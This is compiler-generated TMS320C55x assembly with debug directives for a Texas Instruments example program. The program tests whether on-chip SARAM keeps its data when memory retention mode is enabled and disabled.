.dwattr $C$DW$CU, DW_AT_name("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated")
.dwattr $C$DW$CU, DW_AT_TI_version(0x01)
.dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug")
;******************************************************************************
;* CINIT RECORDS *
;******************************************************************************
.sect ".cinit"
.align 1
.field 1,16
.field _PaSs_StAtE+0,24
.field 0,8
.field 1,16 ; _PaSs_StAtE @ 0
.sect ".cinit"
.align 1
.field 1,16
.field _PaSs+0,24
.field 0,8
.field 0,16 ; _PaSs @ 0
$C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("MEM_init")
.dwattr $C$DW$1, DW_AT_TI_symbol_name("_MEM_init")
.dwattr $C$DW$1, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$1, DW_AT_declaration
.dwattr $C$DW$1, DW_AT_external
$C$DW$2 .dwtag DW_TAG_subprogram, DW_AT_name("MEM_enableRetentionMode")
.dwattr $C$DW$2, DW_AT_TI_symbol_name("_MEM_enableRetentionMode")
.dwattr $C$DW$2, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$2, DW_AT_declaration
.dwattr $C$DW$2, DW_AT_external
$C$DW$3 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$3, DW_AT_type(*$C$DW$T$20)
.dwendtag $C$DW$2
$C$DW$4 .dwtag DW_TAG_subprogram, DW_AT_name("MEM_disableRetentionMode")
.dwattr $C$DW$4, DW_AT_TI_symbol_name("_MEM_disableRetentionMode")
.dwattr $C$DW$4, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$4, DW_AT_declaration
.dwattr $C$DW$4, DW_AT_external
$C$DW$5 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$5, DW_AT_type(*$C$DW$T$20)
.dwendtag $C$DW$4
$C$DW$6 .dwtag DW_TAG_subprogram, DW_AT_name("printf")
.dwattr $C$DW$6, DW_AT_TI_symbol_name("_printf")
.dwattr $C$DW$6, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$6, DW_AT_declaration
.dwattr $C$DW$6, DW_AT_external
$C$DW$7 .dwtag DW_TAG_formal_parameter
.dwattr $C$DW$7, DW_AT_type(*$C$DW$T$35)
$C$DW$8 .dwtag DW_TAG_unspecified_parameters
.dwendtag $C$DW$6
.global _testData
_testData: .usect ".global",100,0,0
$C$DW$9 .dwtag DW_TAG_variable, DW_AT_name("testData")
.dwattr $C$DW$9, DW_AT_TI_symbol_name("_testData")
.dwattr $C$DW$9, DW_AT_location[DW_OP_addr _testData]
.dwattr $C$DW$9, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$9, DW_AT_external
.global _PaSs_StAtE
.bss _PaSs_StAtE,1,0,0
$C$DW$10 .dwtag DW_TAG_variable, DW_AT_name("PaSs_StAtE")
.dwattr $C$DW$10, DW_AT_TI_symbol_name("_PaSs_StAtE")
.dwattr $C$DW$10, DW_AT_location[DW_OP_addr _PaSs_StAtE]
.dwattr $C$DW$10, DW_AT_type(*$C$DW$T$28)
.dwattr $C$DW$10, DW_AT_external
.global _PaSs
.bss _PaSs,1,0,0
$C$DW$11 .dwtag DW_TAG_variable, DW_AT_name("PaSs")
.dwattr $C$DW$11, DW_AT_TI_symbol_name("_PaSs")
.dwattr $C$DW$11, DW_AT_location[DW_OP_addr _PaSs]
.dwattr $C$DW$11, DW_AT_type(*$C$DW$T$28)
.dwattr $C$DW$11, DW_AT_external
; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\2704812
.sect ".text"
.align 4
.global _main
$C$DW$12 .dwtag DW_TAG_subprogram, DW_AT_name("main")
.dwattr $C$DW$12, DW_AT_low_pc(_main)
.dwattr $C$DW$12, DW_AT_high_pc(0x00)
.dwattr $C$DW$12, DW_AT_TI_symbol_name("_main")
.dwattr $C$DW$12, DW_AT_external
.dwattr $C$DW$12, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$12, DW_AT_TI_begin_line(0x6f)
.dwattr $C$DW$12, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$12, DW_AT_TI_max_frame_size(0x04)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 112,column 1,is_stmt,address _main
.dwfde $C$DW$CIE, _main
;*******************************************************************************
;* FUNCTION NAME: main *
;* *
;* Function Uses Regs : T0,AR1,AR2,AR3,XAR3,SP,TC1,M40,SATA,SATD,RDM,FRCT, *
;* SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 4 words *
;* (1 return address/alignment) *
;* (2 function parameters) *
;* (1 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_main:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-3, SP
.dwcfi cfa_offset, 4
$C$DW$13 .dwtag DW_TAG_variable, DW_AT_name("status")
.dwattr $C$DW$13, DW_AT_TI_symbol_name("_status")
.dwattr $C$DW$13, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$13, DW_AT_location[DW_OP_bregx 0x24 2]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 115,column 2,is_stmt
AMOV #$C$FSL1, XAR3 ; |115|
MOV XAR3, dbl(*SP(#0))
$C$DW$14 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$14, DW_AT_low_pc(0x00)
.dwattr $C$DW$14, DW_AT_name("_printf")
.dwattr $C$DW$14, DW_AT_TI_call
CALL #_printf ; |115|
; call occurs [#_printf] ; |115|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 117,column 2,is_stmt
$C$DW$15 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$15, DW_AT_low_pc(0x00)
.dwattr $C$DW$15, DW_AT_name("_CSL_SARAM_RetentionTest")
.dwattr $C$DW$15, DW_AT_TI_call
CALL #_CSL_SARAM_RetentionTest ; |117|
; call occurs [#_CSL_SARAM_RetentionTest] ; |117|
MOV T0, *SP(#2) ; |117|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 118,column 2,is_stmt
MOV *SP(#2), AR1 ; |118|
|| MOV #1, AR2
CMPU AR2 != AR1, TC1 ; |118|
BCC $C$L1,TC1 ; |118|
; branchcc occurs ; |118|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 120,column 3,is_stmt
AMOV #$C$FSL2, XAR3 ; |120|
MOV XAR3, dbl(*SP(#0))
$C$DW$16 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$16, DW_AT_low_pc(0x00)
.dwattr $C$DW$16, DW_AT_name("_printf")
.dwattr $C$DW$16, DW_AT_TI_call
CALL #_printf ; |120|
; call occurs [#_printf] ; |120|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 121,column 2,is_stmt
B $C$L2 ; |121|
; branch occurs ; |121|
$C$L1:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 124,column 3,is_stmt
AMOV #$C$FSL3, XAR3 ; |124|
MOV XAR3, dbl(*SP(#0))
$C$DW$17 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$17, DW_AT_low_pc(0x00)
.dwattr $C$DW$17, DW_AT_name("_printf")
.dwattr $C$DW$17, DW_AT_TI_call
CALL #_printf ; |124|
; call occurs [#_printf] ; |124|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 127,column 9,is_stmt
MOV #0, *(#_PaSs_StAtE) ; |127|
$C$L2:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 132,column 9,is_stmt
MOV *(#_PaSs_StAtE), AR1 ; |132|
MOV AR1, *(#_PaSs) ; |132|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 137,column 1,is_stmt
AADD #3, SP
.dwcfi cfa_offset, 1
$C$DW$18 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$18, DW_AT_low_pc(0x00)
.dwattr $C$DW$18, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$12, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$12, DW_AT_TI_end_line(0x89)
.dwattr $C$DW$12, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$12
.sect ".text"
.align 4
.global _CSL_SARAM_RetentionTest
$C$DW$19 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_SARAM_RetentionTest")
.dwattr $C$DW$19, DW_AT_low_pc(_CSL_SARAM_RetentionTest)
.dwattr $C$DW$19, DW_AT_high_pc(0x00)
.dwattr $C$DW$19, DW_AT_TI_symbol_name("_CSL_SARAM_RetentionTest")
.dwattr $C$DW$19, DW_AT_external
.dwattr $C$DW$19, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$19, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$19, DW_AT_TI_begin_line(0x92)
.dwattr $C$DW$19, DW_AT_TI_begin_column(0x0c)
.dwattr $C$DW$19, DW_AT_TI_max_frame_size(0x06)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 147,column 1,is_stmt,address _CSL_SARAM_RetentionTest
.dwfde $C$DW$CIE, _CSL_SARAM_RetentionTest
;*******************************************************************************
;* FUNCTION NAME: CSL_SARAM_RetentionTest *
;* *
;* Function Uses Regs : T0,AR1,AR2,AR3,XAR3,SP,CARRY,TC1,M40,SATA,SATD,RDM, *
;* FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 6 words *
;* (1 return address/alignment) *
;* (2 function parameters) *
;* (3 local values) *
;* Min System Stack : 1 word *
;*******************************************************************************
_CSL_SARAM_RetentionTest:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-5, SP
.dwcfi cfa_offset, 6
$C$DW$20 .dwtag DW_TAG_variable, DW_AT_name("status")
.dwattr $C$DW$20, DW_AT_TI_symbol_name("_status")
.dwattr $C$DW$20, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$20, DW_AT_location[DW_OP_bregx 0x24 2]
$C$DW$21 .dwtag DW_TAG_variable, DW_AT_name("result")
.dwattr $C$DW$21, DW_AT_TI_symbol_name("_result")
.dwattr $C$DW$21, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$21, DW_AT_location[DW_OP_bregx 0x24 3]
$C$DW$22 .dwtag DW_TAG_variable, DW_AT_name("looper")
.dwattr $C$DW$22, DW_AT_TI_symbol_name("_looper")
.dwattr $C$DW$22, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$22, DW_AT_location[DW_OP_bregx 0x24 4]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 152,column 2,is_stmt
MOV #0, *SP(#3) ; |152|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 155,column 2,is_stmt
$C$DW$23 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$23, DW_AT_low_pc(0x00)
.dwattr $C$DW$23, DW_AT_name("_MEM_init")
.dwattr $C$DW$23, DW_AT_TI_call
CALL #_MEM_init ; |155|
; call occurs [#_MEM_init] ; |155|
MOV T0, *SP(#2) ; |155|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 156,column 2,is_stmt
MOV T0, AR1
BCC $C$L3,AR1 == #0 ; |156|
; branchcc occurs ; |156|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 158,column 3,is_stmt
AMOV #$C$FSL4, XAR3 ; |158|
MOV XAR3, dbl(*SP(#0))
$C$DW$24 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$24, DW_AT_low_pc(0x00)
.dwattr $C$DW$24, DW_AT_name("_printf")
.dwattr $C$DW$24, DW_AT_TI_call
CALL #_printf ; |158|
; call occurs [#_printf] ; |158|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 159,column 3,is_stmt
MOV *SP(#3), T0 ; |159|
B $C$L15 ; |159|
; branch occurs ; |159|
$C$L3:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 7,is_stmt
MOV #0, *SP(#4) ; |163|
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 19,is_stmt
MOV #100, AR2 ; |163|
MOV *SP(#4), AR1 ; |163|
CMPU AR1 >= AR2, TC1 ; |163|
BCC $C$L5,TC1 ; |163|
; branchcc occurs ; |163|
$C$L4:
$C$DW$L$_CSL_SARAM_RetentionTest$4$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 165,column 3,is_stmt
MOV *SP(#4), T0 ; |165|
AMOV #_testData, XAR3 ; |165|
MOV #4660, *AR3(T0) ; |165|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 48,is_stmt
ADD #1, *SP(#4) ; |163|
NOP
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 19,is_stmt
MOV *SP(#4), AR1 ; |163|
CMPU AR1 < AR2, TC1 ; |163|
BCC $C$L4,TC1 ; |163|
; branchcc occurs ; |163|
$C$DW$L$_CSL_SARAM_RetentionTest$4$E:
$C$L5:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 168,column 2,is_stmt
AMOV #$C$FSL5, XAR3 ; |168|
MOV XAR3, dbl(*SP(#0))
$C$DW$25 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$25, DW_AT_low_pc(0x00)
.dwattr $C$DW$25, DW_AT_name("_printf")
.dwattr $C$DW$25, DW_AT_TI_call
CALL #_printf ; |168|
; call occurs [#_printf] ; |168|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 171,column 2,is_stmt
$C$DW$26 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$26, DW_AT_low_pc(0x00)
.dwattr $C$DW$26, DW_AT_name("_MEM_enableRetentionMode")
.dwattr $C$DW$26, DW_AT_TI_call
CALL #_MEM_enableRetentionMode ; |171|
|| MOV #1, T0
; call occurs [#_MEM_enableRetentionMode] ; |171|
MOV T0, *SP(#2) ; |171|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 172,column 2,is_stmt
MOV T0, AR1
BCC $C$L6,AR1 == #0 ; |172|
; branchcc occurs ; |172|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 174,column 3,is_stmt
AMOV #$C$FSL6, XAR3 ; |174|
MOV XAR3, dbl(*SP(#0))
$C$DW$27 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$27, DW_AT_low_pc(0x00)
.dwattr $C$DW$27, DW_AT_name("_printf")
.dwattr $C$DW$27, DW_AT_TI_call
CALL #_printf ; |174|
; call occurs [#_printf] ; |174|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 175,column 3,is_stmt
MOV *SP(#3), T0 ; |175|
B $C$L15 ; |175|
; branch occurs ; |175|
$C$L6:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 178,column 2,is_stmt
AMOV #$C$FSL7, XAR3 ; |178|
MOV XAR3, dbl(*SP(#0))
$C$DW$28 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$28, DW_AT_low_pc(0x00)
.dwattr $C$DW$28, DW_AT_name("_printf")
.dwattr $C$DW$28, DW_AT_TI_call
CALL #_printf ; |178|
; call occurs [#_printf] ; |178|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 7,is_stmt
MOV #0, *SP(#4) ; |180|
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 19,is_stmt
MOV #100, AR2 ; |180|
MOV *SP(#4), AR1 ; |180|
CMPU AR1 >= AR2, TC1 ; |180|
BCC $C$L8,TC1 ; |180|
; branchcc occurs ; |180|
$C$L7:
$C$DW$L$_CSL_SARAM_RetentionTest$8$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 182,column 3,is_stmt
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 45,is_stmt
ADD #1, *SP(#4) ; |180|
NOP
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 19,is_stmt
MOV *SP(#4), AR1 ; |180|
CMPU AR1 < AR2, TC1 ; |180|
BCC $C$L7,TC1 ; |180|
; branchcc occurs ; |180|
$C$DW$L$_CSL_SARAM_RetentionTest$8$E:
$C$L8:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 185,column 2,is_stmt
AMOV #$C$FSL8, XAR3 ; |185|
MOV XAR3, dbl(*SP(#0))
$C$DW$29 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$29, DW_AT_low_pc(0x00)
.dwattr $C$DW$29, DW_AT_name("_printf")
.dwattr $C$DW$29, DW_AT_TI_call
CALL #_printf ; |185|
; call occurs [#_printf] ; |185|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 188,column 2,is_stmt
$C$DW$30 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$30, DW_AT_low_pc(0x00)
.dwattr $C$DW$30, DW_AT_name("_MEM_disableRetentionMode")
.dwattr $C$DW$30, DW_AT_TI_call
CALL #_MEM_disableRetentionMode ; |188|
|| MOV #1, T0
; call occurs [#_MEM_disableRetentionMode] ; |188|
MOV T0, *SP(#2) ; |188|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 189,column 2,is_stmt
MOV T0, AR1
BCC $C$L9,AR1 == #0 ; |189|
; branchcc occurs ; |189|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 191,column 3,is_stmt
AMOV #$C$FSL9, XAR3 ; |191|
MOV XAR3, dbl(*SP(#0))
$C$DW$31 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$31, DW_AT_low_pc(0x00)
.dwattr $C$DW$31, DW_AT_name("_printf")
.dwattr $C$DW$31, DW_AT_TI_call
CALL #_printf ; |191|
; call occurs [#_printf] ; |191|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 192,column 3,is_stmt
MOV *SP(#3), T0 ; |192|
B $C$L15 ; |192|
; branch occurs ; |192|
$C$L9:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 7,is_stmt
MOV #0, *SP(#4) ; |196|
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 19,is_stmt
MOV #100, AR2 ; |196|
MOV *SP(#4), AR1 ; |196|
CMPU AR1 >= AR2, TC1 ; |196|
BCC $C$L11,TC1 ; |196|
; branchcc occurs ; |196|
$C$L10:
$C$DW$L$_CSL_SARAM_RetentionTest$12$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 198,column 3,is_stmt
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 45,is_stmt
ADD #1, *SP(#4) ; |196|
NOP
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 19,is_stmt
MOV *SP(#4), AR1 ; |196|
CMPU AR1 < AR2, TC1 ; |196|
BCC $C$L10,TC1 ; |196|
; branchcc occurs ; |196|
$C$DW$L$_CSL_SARAM_RetentionTest$12$E:
$C$L11:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 7,is_stmt
MOV #0, *SP(#4) ; |202|
NOP
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 19,is_stmt
MOV *SP(#4), AR1 ; |202|
CMPU AR1 >= AR2, TC1 ; |202|
BCC $C$L14,TC1 ; |202|
; branchcc occurs ; |202|
$C$L12:
$C$DW$L$_CSL_SARAM_RetentionTest$14$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 204,column 3,is_stmt
MOV *SP(#4), T0 ; |204|
AMOV #_testData, XAR3 ; |204|
CMP *AR3(T0) == #4660, TC1 ; |204|
BCC $C$L13,TC1 ; |204|
; branchcc occurs ; |204|
$C$DW$L$_CSL_SARAM_RetentionTest$14$E:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 206,column 4,is_stmt
AMOV #$C$FSL10, XAR3 ; |206|
MOV XAR3, dbl(*SP(#0))
$C$DW$32 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$32, DW_AT_low_pc(0x00)
.dwattr $C$DW$32, DW_AT_name("_printf")
.dwattr $C$DW$32, DW_AT_TI_call
CALL #_printf ; |206|
; call occurs [#_printf] ; |206|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 207,column 4,is_stmt
MOV *SP(#3), T0 ; |207|
B $C$L15 ; |207|
; branch occurs ; |207|
$C$L13:
$C$DW$L$_CSL_SARAM_RetentionTest$16$B:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 48,is_stmt
ADD #1, *SP(#4) ; |202|
NOP
NOP
NOP
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 19,is_stmt
MOV *SP(#4), AR1 ; |202|
CMPU AR1 < AR2, TC1 ; |202|
BCC $C$L12,TC1 ; |202|
; branchcc occurs ; |202|
$C$DW$L$_CSL_SARAM_RetentionTest$16$E:
$C$L14:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 211,column 2,is_stmt
AMOV #$C$FSL11, XAR3 ; |211|
MOV XAR3, dbl(*SP(#0))
$C$DW$33 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$33, DW_AT_low_pc(0x00)
.dwattr $C$DW$33, DW_AT_name("_printf")
.dwattr $C$DW$33, DW_AT_TI_call
CALL #_printf ; |211|
; call occurs [#_printf] ; |211|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 212,column 2,is_stmt
AMOV #$C$FSL12, XAR3 ; |212|
MOV XAR3, dbl(*SP(#0))
$C$DW$34 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$34, DW_AT_low_pc(0x00)
.dwattr $C$DW$34, DW_AT_name("_printf")
.dwattr $C$DW$34, DW_AT_TI_call
CALL #_printf ; |212|
; call occurs [#_printf] ; |212|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 214,column 2,is_stmt
MOV #1, *SP(#3) ; |214|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 216,column 2,is_stmt
MOV *SP(#3), T0 ; |216|
$C$L15:
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 217,column 1,is_stmt
AADD #5, SP
.dwcfi cfa_offset, 1
$C$DW$35 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$35, DW_AT_low_pc(0x00)
.dwattr $C$DW$35, DW_AT_TI_return
RET
; return occurs
$C$DW$36 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$36, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L12:1:1538287744")
